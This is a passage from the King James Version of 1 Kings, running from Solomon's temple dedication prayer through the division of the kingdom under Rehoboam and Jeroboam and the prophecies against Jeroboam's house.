God of Israel, there is no God like +thee, in heaven above, or on earth beneath, who keepest covenant and +mercy with thy servants that walk before thee with all their heart: +8:24 Who hast kept with thy servant David my father that thou +promisedst him: thou spakest also with thy mouth, and hast fulfilled +it with thine hand, as it is this day. + +8:25 Therefore now, LORD God of Israel, keep with thy servant David my +father that thou promisedst him, saying, There shall not fail thee a +man in my sight to sit on the throne of Israel; so that thy children +take heed to their way, that they walk before me as thou hast walked +before me. + +8:26 And now, O God of Israel, let thy word, I pray thee, be verified, +which thou spakest unto thy servant David my father. + +8:27 But will God indeed dwell on the earth? behold, the heaven and +heaven of heavens cannot contain thee; how much less this house that I +have builded? 8:28 Yet have thou respect unto the prayer of thy +servant, and to his supplication, O LORD my God, to hearken unto the +cry and to the prayer, which thy servant prayeth before thee to day: +8:29 That thine eyes may be open toward this house night and day, even +toward the place of which thou hast said, My name shall be there: that +thou mayest hearken unto the prayer which thy servant shall make +toward this place. + +8:30 And hearken thou to the supplication of thy servant, and of thy +people Israel, when they shall pray toward this place: and hear thou +in heaven thy dwelling place: and when thou hearest, forgive. + +8:31 If any man trespass against his neighbour, and an oath be laid +upon him to cause him to swear, and the oath come before thine altar +in this house: 8:32 Then hear thou in heaven, and do, and judge thy +servants, condemning the wicked, to bring his way upon his head; and +justifying the righteous, to give him according to his righteousness. + +8:33 When thy people Israel be smitten down before the enemy, because +they have sinned against thee, and shall turn again to thee, and +confess thy name, and pray, and make supplication unto thee in this +house: 8:34 Then hear thou in heaven, and forgive the sin of thy +people Israel, and bring them again unto the land which thou gavest +unto their fathers. + +8:35 When heaven is shut up, and there is no rain, because they have +sinned against thee; if they pray toward this place, and confess thy +name, and turn from their sin, when thou afflictest them: 8:36 Then +hear thou in heaven, and forgive the sin of thy servants, and of thy +people Israel, that thou teach them the good way wherein they should +walk, and give rain upon thy land, which thou hast given to thy people +for an inheritance. + +8:37 If there be in the land famine, if there be pestilence, blasting, +mildew, locust, or if there be caterpiller; if their enemy besiege +them in the land of their cities; whatsoever plague, whatsoever +sickness there be; 8:38 What prayer and supplication soever be made by +any man, or by all thy people Israel, which shall know every man the +plague of his own heart, and spread forth his hands toward this house: +8:39 Then hear thou in heaven thy dwelling place, and forgive, and do, +and give to every man according to his ways, whose heart thou knowest; +(for thou, even thou only, knowest the hearts of all the children of +men;) 8:40 That they may fear thee all the days that they live in the +land which thou gavest unto our fathers. + +8:41 Moreover concerning a stranger, that is not of thy people Israel, +but cometh out of a far country for thy name's sake; 8:42 (For they +shall hear of thy great name, and of thy strong hand, and of thy +stretched out arm;) when he shall come and pray toward this house; +8:43 Hear thou in heaven thy dwelling place, and do according to all +that the stranger calleth to thee for: that all people of the earth +may know thy name, to fear thee, as do thy people Israel; and that +they may know that this house, which I have builded, is called by thy +name. + +8:44 If thy people go out to battle against their enemy, whithersoever +thou shalt send them, and shall pray unto the LORD toward the city +which thou hast chosen, and toward the house that I have built for thy +name: 8:45 Then hear thou in heaven their prayer and their +supplication, and maintain their cause. + +8:46 If they sin against thee, (for there is no man that sinneth not,) +and thou be angry with them, and deliver them to the enemy, so that +they carry them away captives unto the land of the enemy, far or near; +8:47 Yet if they shall bethink themselves in the land whither they +were carried captives, and repent, and make supplication unto thee in +the land of them that carried them captives, saying, We have sinned, +and have done perversely, we have committed wickedness; 8:48 And so +return unto thee with all their heart, and with all their soul, in the +land of their enemies, which led them away captive, and pray unto thee +toward their land, which thou gavest unto their fathers, the city +which thou hast chosen, and the house which I have built for thy name: +8:49 Then hear thou their prayer and their supplication in heaven thy +dwelling place, and maintain their cause, 8:50 And forgive thy people +that have sinned against thee, and all their transgressions wherein +they have transgressed against thee, and give them compassion before +them who carried them captive, that they may have compassion on them: +8:51 For they be thy people, and thine inheritance, which thou +broughtest forth out of Egypt, from the midst of the furnace of iron: +8:52 That thine eyes may be open unto the supplication of thy servant, +and unto the supplication of thy people Israel, to hearken unto them +in all that they call for unto thee. + +8:53 For thou didst separate them from among all the people of the +earth, to be thine inheritance, as thou spakest by the hand of Moses +thy servant, when thou broughtest our fathers out of Egypt, O LORD +God. + +8:54 And it was so, that when Solomon had made an end of praying all +this prayer and supplication unto the LORD, he arose from before the +altar of the LORD, from kneeling on his knees with his hands spread up +to heaven. + +8:55 And he stood, and blessed all the congregation of Israel with a +loud voice, saying, 8:56 Blessed be the LORD, that hath given rest +unto his people Israel, according to all that he promised: there hath +not failed one word of all his good promise, which he promised by the +hand of Moses his servant. + +8:57 The LORD our God be with us, as he was with our fathers: let him +not leave us, nor forsake us: 8:58 That he may incline our hearts unto +him, to walk in all his ways, and to keep his commandments, and his +statutes, and his judgments, which he commanded our fathers. + +8:59 And let these my words, wherewith I have made supplication before +the LORD, be nigh unto the LORD our God day and night, that he +maintain the cause of his servant, and the cause of his people Israel +at all times, as the matter shall require: 8:60 That all the people of +the earth may know that the LORD is God, and that there is none else. + +8:61 Let your heart therefore be perfect with the LORD our God, to +walk in his statutes, and to keep his commandments, as at this day. + +8:62 And the king, and all Israel with him, offered sacrifice before +the LORD. + +8:63 And Solomon offered a sacrifice of peace offerings, which he +offered unto the LORD, two and twenty thousand oxen, and an hundred +and twenty thousand sheep. So the king and all the children of Israel +dedicated the house of the LORD. + +8:64 The same day did the king hallow the middle of the court that was +before the house of the LORD: for there he offered burnt offerings, +and meat offerings, and the fat of the peace offerings: because the +brasen altar that was before the LORD was too little to receive the +burnt offerings, and meat offerings, and the fat of the peace +offerings. + +8:65 And at that time Solomon held a feast, and all Israel with him, a +great congregation, from the entering in of Hamath unto the river of +Egypt, before the LORD our God, seven days and seven days, even +fourteen days. + +8:66 On the eighth day he sent the people away: and they blessed the +king, and went unto their tents joyful and glad of heart for all the +goodness that the LORD had done for David his servant, and for Israel +his people. + +9:1 And it came to pass, when Solomon had finished the building of the +house of the LORD, and the king's house, and all Solomon's desire +which he was pleased to do, 9:2 That the LORD appeared to Solomon the +second time, as he had appeared unto him at Gibeon. + +9:3 And the LORD said unto him, I have heard thy prayer and thy +supplication, that thou hast made before me: I have hallowed this +house, which thou hast built, to put my name there for ever; and mine +eyes and mine heart shall be there perpetually. + +9:4 And if thou wilt walk before me, as David thy father walked, in +integrity of heart, and in uprightness, to do according to all that I +have commanded thee, and wilt keep my statutes and my judgments: 9:5 +Then I will establish the throne of thy kingdom upon Israel for ever, +as I promised to David thy father, saying, There shall not fail thee a +man upon the throne of Israel. + +9:6 But if ye shall at all turn from following me, ye or your +children, and will not keep my commandments and my statutes which I +have set before you, but go and serve other gods, and worship them: +9:7 Then will I cut off Israel out of the land which I have given +them; and this house, which I have hallowed for my name, will I cast +out of my sight; and Israel shall be a proverb and a byword among all +people: 9:8 And at this house, which is high, every one that passeth +by it shall be astonished, and shall hiss; and they shall say, Why +hath the LORD done thus unto this land, and to this house? 9:9 And +they shall answer, Because they forsook the LORD their God, who +brought forth their fathers out of the land of Egypt, and have taken +hold upon other gods, and have worshipped them, and served them: +therefore hath the LORD brought upon them all this evil. + +9:10 And it came to pass at the end of twenty years, when Solomon had +built the two houses, the house of the LORD, and the king's house, +9:11 (Now Hiram the king of Tyre had furnished Solomon with cedar +trees and fir trees, and with gold, according to all his desire,) that +then king Solomon gave Hiram twenty cities in the land of Galilee. + +9:12 And Hiram came out from Tyre to see the cities which Solomon had +given him; and they pleased him not. + +9:13 And he said, What cities are these which thou hast given me, my +brother? And he called them the land of Cabul unto this day. + +9:14 And Hiram sent to the king sixscore talents of gold. + +9:15 And this is the reason of the levy which king Solomon raised; for +to build the house of the LORD, and his own house, and Millo, and the +wall of Jerusalem, and Hazor, and Megiddo, and Gezer. + +9:16 For Pharaoh king of Egypt had gone up, and taken Gezer, and burnt +it with fire, and slain the Canaanites that dwelt in the city, and +given it for a present unto his daughter, Solomon's wife. + +9:17 And Solomon built Gezer, and Bethhoron the nether, 9:18 And +Baalath, and Tadmor in the wilderness, in the land, 9:19 And all the +cities of store that Solomon had, and cities for his chariots, and +cities for his horsemen, and that which Solomon desired to build in +Jerusalem, and in Lebanon, and in all the land of his dominion. + +9:20 And all the people that were left of the Amorites, Hittites, +Perizzites, Hivites, and Jebusites, which were not of the children of +Israel, 9:21 Their children that were left after them in the land, +whom the children of Israel also were not able utterly to destroy, +upon those did Solomon levy a tribute of bondservice unto this day. + +9:22 But of the children of Israel did Solomon make no bondmen: but +they were men of war, and his servants, and his princes, and his +captains, and rulers of his chariots, and his horsemen. + +9:23 These were the chief of the officers that were over Solomon's +work, five hundred and fifty, which bare rule over the people that +wrought in the work. + +9:24 But Pharaoh's daughter came up out of the city of David unto her +house which Solomon had built for her: then did he build Millo. + +9:25 And three times in a year did Solomon offer burnt offerings and +peace offerings upon the altar which he built unto the LORD, and he +burnt incense upon the altar that was before the LORD. So he finished +the house. + +9:26 And king Solomon made a navy of ships in Eziongeber, which is +beside Eloth, on the shore of the Red sea, in the land of Edom. + +9:27 And Hiram sent in the navy his servants, shipmen that had +knowledge of the sea, with the servants of Solomon. + +9:28 And they came to Ophir, and fetched from thence gold, four +hundred and twenty talents, and brought it to king Solomon. + +10:1 And when the queen of Sheba heard of the fame of Solomon +concerning the name of the LORD, she came to prove him with hard +questions. + +10:2 And she came to Jerusalem with a very great train, with camels +that bare spices, and very much gold, and precious stones: and when +she was come to Solomon, she communed with him of all that was in her +heart. + +10:3 And Solomon told her all her questions: there was not any thing +hid from the king, which he told her not. + +10:4 And when the queen of Sheba had seen all Solomon's wisdom, and +the house that he had built, 10:5 And the meat of his table, and the +sitting of his servants, and the attendance of his ministers, and +their apparel, and his cupbearers, and his ascent by which he went up +unto the house of the LORD; there was no more spirit in her. + +10:6 And she said to the king, It was a true report that I heard in +mine own land of thy acts and of thy wisdom. + +10:7 Howbeit I believed not the words, until I came, and mine eyes had +seen it: and, behold, the half was not told me: thy wisdom and +prosperity exceedeth the fame which I heard. + +10:8 Happy are thy men, happy are these thy servants, which stand +continually before thee, and that hear thy wisdom. + +10:9 Blessed be the LORD thy God, which delighted in thee, to set thee +on the throne of Israel: because the LORD loved Israel for ever, +therefore made he thee king, to do judgment and justice. + +10:10 And she gave the king an hundred and twenty talents of gold, and +of spices very great store, and precious stones: there came no more +such abundance of spices as these which the queen of Sheba gave to +king Solomon. + +10:11 And the navy also of Hiram, that brought gold from Ophir, +brought in from Ophir great plenty of almug trees, and precious +stones. + +10:12 And the king made of the almug trees pillars for the house of +the LORD, and for the king's house, harps also and psalteries for +singers: there came no such almug trees, nor were seen unto this day. + +10:13 And king Solomon gave unto the queen of Sheba all her desire, +whatsoever she asked, beside that which Solomon gave her of his royal +bounty. + +So she turned and went to her own country, she and her servants. + +10:14 Now the weight of gold that came to Solomon in one year was six +hundred threescore and six talents of gold, 10:15 Beside that he had +of the merchantmen, and of the traffick of the spice merchants, and of +all the kings of Arabia, and of the governors of the country. + +10:16 And king Solomon made two hundred targets of beaten gold: six +hundred shekels of gold went to one target. + +10:17 And he made three hundred shields of beaten gold; three pound of +gold went to one shield: and the king put them in the house of the +forest of Lebanon. + +10:18 Moreover the king made a great throne of ivory, and overlaid it +with the best gold. + +10:19 The throne had six steps, and the top of the throne was round +behind: and there were stays on either side on the place of the seat, +and two lions stood beside the stays. + +10:20 And twelve lions stood there on the one side and on the other +upon the six steps: there was not the like made in any kingdom. + +10:21 And all king Solomon's drinking vessels were of gold, and all +the vessels of the house of the forest of Lebanon were of pure gold; +none were of silver: it was nothing accounted of in the days of +Solomon. + +10:22 For the king had at sea a navy of Tharshish with the navy of +Hiram: once in three years came the navy of Tharshish, bringing gold, +and silver, ivory, and apes, and peacocks. + +10:23 So king Solomon exceeded all the kings of the earth for riches +and for wisdom. + +10:24 And all the earth sought to Solomon, to hear his wisdom, which +God had put in his heart. + +10:25 And they brought every man his present, vessels of silver, and +vessels of gold, and garments, and armour, and spices, horses, and +mules, a rate year by year. + +10:26 And Solomon gathered together chariots and horsemen: and he had +a thousand and four hundred chariots, and twelve thousand horsemen, +whom he bestowed in the cities for chariots, and with the king at +Jerusalem. + +10:27 And the king made silver to be in Jerusalem as stones, and +cedars made he to be as the sycomore trees that are in the vale, for +abundance. + +10:28 And Solomon had horses brought out of Egypt, and linen yarn: the +king's merchants received the linen yarn at a price. + +10:29 And a chariot came up and went out of Egypt for six hundred +shekels of silver, and an horse for an hundred and fifty: and so for +all the kings of the Hittites, and for the kings of Syria, did they +bring them out by their means. + +11:1 But king Solomon loved many strange women, together with the +daughter of Pharaoh, women of the Moabites, Ammonites, Edomites, +Zidonians, and Hittites: 11:2 Of the nations concerning which the LORD +said unto the children of Israel, Ye shall not go in to them, neither +shall they come in unto you: for surely they will turn away your heart +after their gods: Solomon clave unto these in love. + +11:3 And he had seven hundred wives, princesses, and three hundred +concubines: and his wives turned away his heart. + +11:4 For it came to pass, when Solomon was old, that his wives turned +away his heart after other gods: and his heart was not perfect with +the LORD his God, as was the heart of David his father. + +11:5 For Solomon went after Ashtoreth the goddess of the Zidonians, +and after Milcom the abomination of the Ammonites. + +11:6 And Solomon did evil in the sight of the LORD, and went not fully +after the LORD, as did David his father. + +11:7 Then did Solomon build an high place for Chemosh, the abomination +of Moab, in the hill that is before Jerusalem, and for Molech, the +abomination of the children of Ammon. + +11:8 And likewise did he for all his strange wives, which burnt +incense and sacrificed unto their gods. + +11:9 And the LORD was angry with Solomon, because his heart was turned +from the LORD God of Israel, which had appeared unto him twice, 11:10 +And had commanded him concerning this thing, that he should not go +after other gods: but he kept not that which the LORD commanded. + +11:11 Wherefore the LORD said unto Solomon, Forasmuch as this is done +of thee, and thou hast not kept my covenant and my statutes, which I +have commanded thee, I will surely rend the kingdom from thee, and +will give it to thy servant. + +11:12 Notwithstanding in thy days I will not do it for David thy +father's sake: but I will rend it out of the hand of thy son. + +11:13 Howbeit I will not rend away all the kingdom; but will give one +tribe to thy son for David my servant's sake, and for Jerusalem's sake +which I have chosen. + +11:14 And the LORD stirred up an adversary unto Solomon, Hadad the +Edomite: he was of the king's seed in Edom. + +11:15 For it came to pass, when David was in Edom, and Joab the +captain of the host was gone up to bury the slain, after he had +smitten every male in Edom; 11:16 (For six months did Joab remain +there with all Israel, until he had cut off every male in Edom:) 11:17 +That Hadad fled, he and certain Edomites of his father's servants with +him, to go into Egypt; Hadad being yet a little child. + +11:18 And they arose out of Midian, and came to Paran: and they took +men with them out of Paran, and they came to Egypt, unto Pharaoh king +of Egypt; which gave him an house, and appointed him victuals, and +gave him land. + +11:19 And Hadad found great favour in the sight of Pharaoh, so that he +gave him to wife the sister of his own wife, the sister of Tahpenes +the queen. + +11:20 And the sister of Tahpenes bare him Genubath his son, whom +Tahpenes weaned in Pharaoh's house: and Genubath was in Pharaoh's +household among the sons of Pharaoh. + +11:21 And when Hadad heard in Egypt that David slept with his fathers, +and that Joab the captain of the host was dead, Hadad said to Pharaoh, +Let me depart, that I may go to mine own country. + +11:22 Then Pharaoh said unto him, But what hast thou lacked with me, +that, behold, thou seekest to go to thine own country? And he +answered, Nothing: howbeit let me go in any wise. + +11:23 And God stirred him up another adversary, Rezon the son of +Eliadah, which fled from his lord Hadadezer king of Zobah: 11:24 And +he gathered men unto him, and became captain over a band, when David +slew them of Zobah: and they went to Damascus, and dwelt therein, and +reigned in Damascus. + +11:25 And he was an adversary to Israel all the days of Solomon, +beside the mischief that Hadad did: and he abhorred Israel, and +reigned over Syria. + +11:26 And Jeroboam the son of Nebat, an Ephrathite of Zereda, +Solomon's servant, whose mother's name was Zeruah, a widow woman, even +he lifted up his hand against the king. + +11:27 And this was the cause that he lifted up his hand against the +king: Solomon built Millo, and repaired the breaches of the city of +David his father. + +11:28 And the man Jeroboam was a mighty man of valour: and Solomon +seeing the young man that he was industrious, he made him ruler over +all the charge of the house of Joseph. + +11:29 And it came to pass at that time when Jeroboam went out of +Jerusalem, that the prophet Ahijah the Shilonite found him in the way; +and he had clad himself with a new garment; and they two were alone in +the field: 11:30 And Ahijah caught the new garment that was on him, +and rent it in twelve pieces: 11:31 And he said to Jeroboam, Take thee +ten pieces: for thus saith the LORD, the God of Israel, Behold, I will +rend the kingdom out of the hand of Solomon, and will give ten tribes +to thee: 11:32 (But he shall have one tribe for my servant David's +sake, and for Jerusalem's sake, the city which I have chosen out of +all the tribes of Israel:) 11:33 Because that they have forsaken me, +and have worshipped Ashtoreth the goddess of the Zidonians, Chemosh +the god of the Moabites, and Milcom the god of the children of Ammon, +and have not walked in my ways, to do that which is right in mine +eyes, and to keep my statutes and my judgments, as did David his +father. + +11:34 Howbeit I will not take the whole kingdom out of his hand: but I +will make him prince all the days of his life for David my servant's +sake, whom I chose, because he kept my commandments and my statutes: +11:35 But I will take the kingdom out of his son's hand, and will give +it unto thee, even ten tribes. + +11:36 And unto his son will I give one tribe, that David my servant +may have a light alway before me in Jerusalem, the city which I have +chosen me to put my name there. + +11:37 And I will take thee, and thou shalt reign according to all that +thy soul desireth, and shalt be king over Israel. + +11:38 And it shall be, if thou wilt hearken unto all that I command +thee, and wilt walk in my ways, and do that is right in my sight, to +keep my statutes and my commandments, as David my servant did; that I +will be with thee, and build thee a sure house, as I built for David, +and will give Israel unto thee. + +11:39 And I will for this afflict the seed of David, but not for ever. + +11:40 Solomon sought therefore to kill Jeroboam. And Jeroboam arose, +and fled into Egypt, unto Shishak king of Egypt, and was in Egypt +until the death of Solomon. + +11:41 And the rest of the acts of Solomon, and all that he did, and +his wisdom, are they not written in the book of the acts of Solomon? +11:42 And the time that Solomon reigned in Jerusalem over all Israel +was forty years. + +11:43 And Solomon slept with his fathers, and was buried in the city +of David his father: and Rehoboam his son reigned in his stead. + +12:1 And Rehoboam went to Shechem: for all Israel were come to Shechem +to make him king. + +12:2 And it came to pass, when Jeroboam the son of Nebat, who was yet +in Egypt, heard of it, (for he was fled from the presence of king +Solomon, and Jeroboam dwelt in Egypt;) 12:3 That they sent and called +him. And Jeroboam and all the congregation of Israel came, and spake +unto Rehoboam, saying, 12:4 Thy father made our yoke grievous: now +therefore make thou the grievous service of thy father, and his heavy +yoke which he put upon us, lighter, and we will serve thee. + +12:5 And he said unto them, Depart yet for three days, then come again +to me. And the people departed. + +12:6 And king Rehoboam consulted with the old men, that stood before +Solomon his father while he yet lived, and said, How do ye advise that +I may answer this people? 12:7 And they spake unto him, saying, If +thou wilt be a servant unto this people this day, and wilt serve them, +and answer them, and speak good words to them, then they will be thy +servants for ever. + +12:8 But he forsook the counsel of the old men, which they had given +him, and consulted with the young men that were grown up with him, and +which stood before him: 12:9 And he said unto them, What counsel give +ye that we may answer this people, who have spoken to me, saying, Make +the yoke which thy father did put upon us lighter? 12:10 And the +young men that were grown up with him spake unto him, saying, Thus +shalt thou speak unto this people that spake unto thee, saying, Thy +father made our yoke heavy, but make thou it lighter unto us; thus +shalt thou say unto them, My little finger shall be thicker than my +father's loins. + +12:11 And now whereas my father did lade you with a heavy yoke, I will +add to your yoke: my father hath chastised you with whips, but I will +chastise you with scorpions. + +12:12 So Jeroboam and all the people came to Rehoboam the third day, +as the king had appointed, saying, Come to me again the third day. + +12:13 And the king answered the people roughly, and forsook the old +men's counsel that they gave him; 12:14 And spake to them after the +counsel of the young men, saying, My father made your yoke heavy, and +I will add to your yoke: my father also chastised you with whips, but +I will chastise you with scorpions. + +12:15 Wherefore the king hearkened not unto the people; for the cause +was from the LORD, that he might perform his saying, which the LORD +spake by Ahijah the Shilonite unto Jeroboam the son of Nebat. + +12:16 So when all Israel saw that the king hearkened not unto them, +the people answered the king, saying, What portion have we in David? +neither have we inheritance in the son of Jesse: to your tents, O +Israel: now see to thine own house, David. So Israel departed unto +their tents. + +12:17 But as for the children of Israel which dwelt in the cities of +Judah, Rehoboam reigned over them. + +12:18 Then king Rehoboam sent Adoram, who was over the tribute; and +all Israel stoned him with stones, that he died. Therefore king +Rehoboam made speed to get him up to his chariot, to flee to +Jerusalem. + +12:19 So Israel rebelled against the house of David unto this day. + +12:20 And it came to pass, when all Israel heard that Jeroboam was +come again, that they sent and called him unto the congregation, and +made him king over all Israel: there was none that followed the house +of David, but the tribe of Judah only. + +12:21 And when Rehoboam was come to Jerusalem, he assembled all the +house of Judah, with the tribe of Benjamin, an hundred and fourscore +thousand chosen men, which were warriors, to fight against the house +of Israel, to bring the kingdom again to Rehoboam the son of Solomon. + +12:22 But the word of God came unto Shemaiah the man of God, saying, +12:23 Speak unto Rehoboam, the son of Solomon, king of Judah, and unto +all the house of Judah and Benjamin, and to the remnant of the people, +saying, 12:24 Thus saith the LORD, Ye shall not go up, nor fight +against your brethren the children of Israel: return every man to his +house; for this thing is from me. They hearkened therefore to the word +of the LORD, and returned to depart, according to the word of the +LORD. + +12:25 Then Jeroboam built Shechem in mount Ephraim, and dwelt therein; +and went out from thence, and built Penuel. + +12:26 And Jeroboam said in his heart, Now shall the kingdom return to +the house of David: 12:27 If this people go up to do sacrifice in the +house of the LORD at Jerusalem, then shall the heart of this people +turn again unto their lord, even unto Rehoboam king of Judah, and they +shall kill me, and go again to Rehoboam king of Judah. + +12:28 Whereupon the king took counsel, and made two calves of gold, +and said unto them, It is too much for you to go up to Jerusalem: +behold thy gods, O Israel, which brought thee up out of the land of +Egypt. + +12:29 And he set the one in Bethel, and the other put he in Dan. + +12:30 And this thing became a sin: for the people went to worship +before the one, even unto Dan. + +12:31 And he made an house of high places, and made priests of the +lowest of the people, which were not of the sons of Levi. + +12:32 And Jeroboam ordained a feast in the eighth month, on the +fifteenth day of the month, like unto the feast that is in Judah, and +he offered upon the altar. So did he in Bethel, sacrificing unto the +calves that he had made: and he placed in Bethel the priests of the +high places which he had made. + +12:33 So he offered upon the altar which he had made in Bethel the +fifteenth day of the eighth month, even in the month which he had +devised of his own heart; and ordained a feast unto the children of +Israel: and he offered upon the altar, and burnt incense. + +13:1 And, behold, there came a man of God out of Judah by the word of +the LORD unto Bethel: and Jeroboam stood by the altar to burn incense. + +13:2 And he cried against the altar in the word of the LORD, and said, +O altar, altar, thus saith the LORD; Behold, a child shall be born +unto the house of David, Josiah by name; and upon thee shall he offer +the priests of the high places that burn incense upon thee, and men's +bones shall be burnt upon thee. + +13:3 And he gave a sign the same day, saying, This is the sign which +the LORD hath spoken; Behold, the altar shall be rent, and the ashes +that are upon it shall be poured out. + +13:4 And it came to pass, when king Jeroboam heard the saying of the +man of God, which had cried against the altar in Bethel, that he put +forth his hand from the altar, saying, Lay hold on him. And his hand, +which he put forth against him, dried up, so that he could not pull it +in again to him. + +13:5 The altar also was rent, and the ashes poured out from the altar, +according to the sign which the man of God had given by the word of +the LORD. + +13:6 And the king answered and said unto the man of God, Intreat now +the face of the LORD thy God, and pray for me, that my hand may be +restored me again. And the man of God besought the LORD, and the +king's hand was restored him again, and became as it was before. + +13:7 And the king said unto the man of God, Come home with me, and +refresh thyself, and I will give thee a reward. + +13:8 And the man of God said unto the king, If thou wilt give me half +thine house, I will not go in with thee, neither will I eat bread nor +drink water in this place: 13:9 For so was it charged me by the word +of the LORD, saying, Eat no bread, nor drink water, nor turn again by +the same way that thou camest. + +13:10 So he went another way, and returned not by the way that he came +to Bethel. + +13:11 Now there dwelt an old prophet in Bethel; and his sons came and +told him all the works that the man of God had done that day in +Bethel: the words which he had spoken unto the king, them they told +also to their father. + +13:12 And their father said unto them, What way went he? For his sons +had seen what way the man of God went, which came from Judah. + +13:13 And he said unto his sons, Saddle me the ass. So they saddled +him the ass: and he rode thereon, 13:14 And went after the man of God, +and found him sitting under an oak: and he said unto him, Art thou the +man of God that camest from Judah? And he said, I am. + +13:15 Then he said unto him, Come home with me, and eat bread. + +13:16 And he said, I may not return with thee, nor go in with thee: +neither will I eat bread nor drink water with thee in this place: +13:17 For it was said to me by the word of the LORD, Thou shalt eat no +bread nor drink water there, nor turn again to go by the way that thou +camest. + +13:18 He said unto him, I am a prophet also as thou art; and an angel +spake unto me by the word of the LORD, saying, Bring him back with +thee into thine house, that he may eat bread and drink water. But he +lied unto him. + +13:19 So he went back with him, and did eat bread in his house, and +drank water. + +13:20 And it came to pass, as they sat at the table, that the word of +the LORD came unto the prophet that brought him back: 13:21 And he +cried unto the man of God that came from Judah, saying, Thus saith the +LORD, Forasmuch as thou hast disobeyed the mouth of the LORD, and hast +not kept the commandment which the LORD thy God commanded thee, 13:22 +But camest back, and hast eaten bread and drunk water in the place, of +the which the Lord did say to thee, Eat no bread, and drink no water; +thy carcase shall not come unto the sepulchre of thy fathers. + +13:23 And it came to pass, after he had eaten bread, and after he had +drunk, that he saddled for him the ass, to wit, for the prophet whom +he had brought back. + +13:24 And when he was gone, a lion met him by the way, and slew him: +and his carcase was cast in the way, and the ass stood by it, the lion +also stood by the carcase. + +13:25 And, behold, men passed by, and saw the carcase cast in the way, +and the lion standing by the carcase: and they came and told it in the +city where the old prophet dwelt. + +13:26 And when the prophet that brought him back from the way heard +thereof, he said, It is the man of God, who was disobedient unto the +word of the LORD: therefore the LORD hath delivered him unto the lion, +which hath torn him, and slain him, according to the word of the LORD, +which he spake unto him. + +13:27 And he spake to his sons, saying, Saddle me the ass. And they +saddled him. + +13:28 And he went and found his carcase cast in the way, and the ass +and the lion standing by the carcase: the lion had not eaten the +carcase, nor torn the ass. + +13:29 And the prophet took up the carcase of the man of God, and laid +it upon the ass, and brought it back: and the old prophet came to the +city, to mourn and to bury him. + +13:30 And he laid his carcase in his own grave; and they mourned over +him, saying, Alas, my brother! 13:31 And it came to pass, after he +had buried him, that he spake to his sons, saying, When I am dead, +then bury me in the sepulchre wherein the man of God is buried; lay my +bones beside his bones: 13:32 For the saying which he cried by the +word of the LORD against the altar in Bethel, and against all the +houses of the high places which are in the cities of Samaria, shall +surely come to pass. + +13:33 After this thing Jeroboam returned not from his evil way, but +made again of the lowest of the people priests of the high places: +whosoever would, he consecrated him, and he became one of the priests +of the high places. + +13:34 And this thing became sin unto the house of Jeroboam, even to +cut it off, and to destroy it from off the face of the earth. + +14:1 At that time Abijah the son of Jeroboam fell sick. + +14:2 And Jeroboam said to his wife, Arise, I pray thee, and disguise +thyself, that thou be not known to be the wife of Jeroboam; and get +thee to Shiloh: behold, there is Ahijah the prophet, which told me +that I should be king over this people. + +14:3 And take with thee ten loaves, and cracknels, and a cruse of +honey, and go to him: he shall tell thee what shall become of the +child. + +14:4 And Jeroboam's wife did so, and arose, and went to Shiloh, and +came to the house of Ahijah. But Ahijah could not see; for his eyes +were set by reason of his age. + +14:5 And the LORD said unto Ahijah, Behold, the wife of Jeroboam +cometh to ask a thing of thee for her son; for he is sick: thus and +thus shalt thou say unto her: for it shall be, when she cometh in, +that she shall feign herself to be another woman. + +14:6 And it was so, when Ahijah heard the sound of her feet, as she +came in at the door, that he said, Come in, thou wife of Jeroboam; why +feignest thou thyself to be another? for I am sent to thee with heavy +tidings. + +14:7 Go, tell Jeroboam, Thus saith the LORD God of Israel, Forasmuch +as I exalted thee from among the people, and made thee prince over my +people Israel, 14:8 And rent the kingdom away from the house of David, +and gave it thee: and yet thou hast not been as my servant David, who +kept my commandments, and who followed me with all his heart, to do +that only which was right in mine eyes; 14:9 But hast done evil above +all that were before thee: for thou hast gone and made thee other +gods, and molten images, to provoke me to anger, and hast cast me +behind thy back: 14:10 Therefore, behold, I will bring evil upon the +house of Jeroboam, and will cut off from Jeroboam him that pisseth +against the wall, and him that is shut up and left in Israel, and will +take away the remnant of the house of Jeroboam, as a man taketh away +dung, till it be all gone. + +14:11 Him that dieth of Jeroboam in the city shall the dogs eat; and +him that dieth in the field shall the fowls of the air eat: for the +LORD hath spoken it. + +14:12 Arise thou therefore, get thee to thine own house: and when thy +feet enter into the city, the child shall die. + +14:13 And all Israel shall mourn for him, and bury him: for he only of +Jeroboam shall come to the grave, because in him there is found some +good thing toward the LORD God of Israel in the house of Jeroboam. + +14:14 Moreover the LORD shall raise him up a king over Israel, who +shall cut off the house of Jeroboam that day: but what? even now. + +14:15 For the LORD shall smite Israel, as a reed is shaken in the +water, and he shall root up Israel out of this good land, which he +gave to their fathers, and shall scatter them beyond the river, +because they have made their groves, provoking the LORD to anger. + +14:16 And he shall give Israel up because of the sins of Jeroboam, who +did sin, and who made Israel to sin. + +14:17 And Jeroboam's wife arose, and departed, and came to Tirzah: and +when she came to the threshold of the door, the child died; 14:18 And +they buried him; and all Israel mourned for him, according to the word +of the LORD, which he spake by the hand of his servant Ahijah the +prophet. + +14:19 And the rest of the acts of Jeroboam, how he warred, and how he +reigned, behold, they are written in the book of the chronicles of the +kings of Israel. + +14:20 And the days which Jeroboam reigned were two and twenty years: +and he slept with his fathers, and Nadab his son reigned in his stead. + +14:21 And Rehoboam the son of Solomon reigned in Judah. Rehoboam was +forty and one years old when he began to reign, and he reigned +seventeen years in Jerusalem, the city which the LORD did choose out +of all the tribes of Israel, to put his name there. And his mother's +name was Naamah an Ammonitess. + +14:22 And Judah did evil in the sight of the LORD, and they provoked +him to jealousy with their sins which they had committed, above all +that their fathers had done. + +14:23 For they also built them high places, and images, and groves, on +every high hill, and under every green tree. + +14:24 And there were also sodomites in the land: and they did +according to all the abominations of the nations which the LORD cast +out before the children of Israel. + +14:25 And it came to pass in the fifth year of king Rehoboam, that +Shishak king of Egypt came up against Jerusalem: 14:26 And he took +away the treasures of the house of the LORD, and the treasures of the +king's house; he even took away all: and he took away all the shields +of gold which Solomon had made. + +14:27 And king Rehoboam made in their stead brasen shields, and +committed them unto the hands of the chief of the guard, which kept +the door of the king's house. + +14:28 And it was so, when the king went into the house of the LORD, +that the guard bare them, and brought them back into the guard +chamber. + +14:29 Now the rest of the acts of Rehoboam, and all that he did, are +they not written in the book of the chronicles of the kings of Judah? +14:30 And there was war between Rehoboam and Jeroboam all their days. + +14:31 And Rehoboam slept with his fathers, and was buried with his +fathers in the city of David. And his mother's name was Naamah an +Ammonitess. And Abijam his son reigned in his stead. + +15:1 Now in the eighteenth year of king Jeroboam 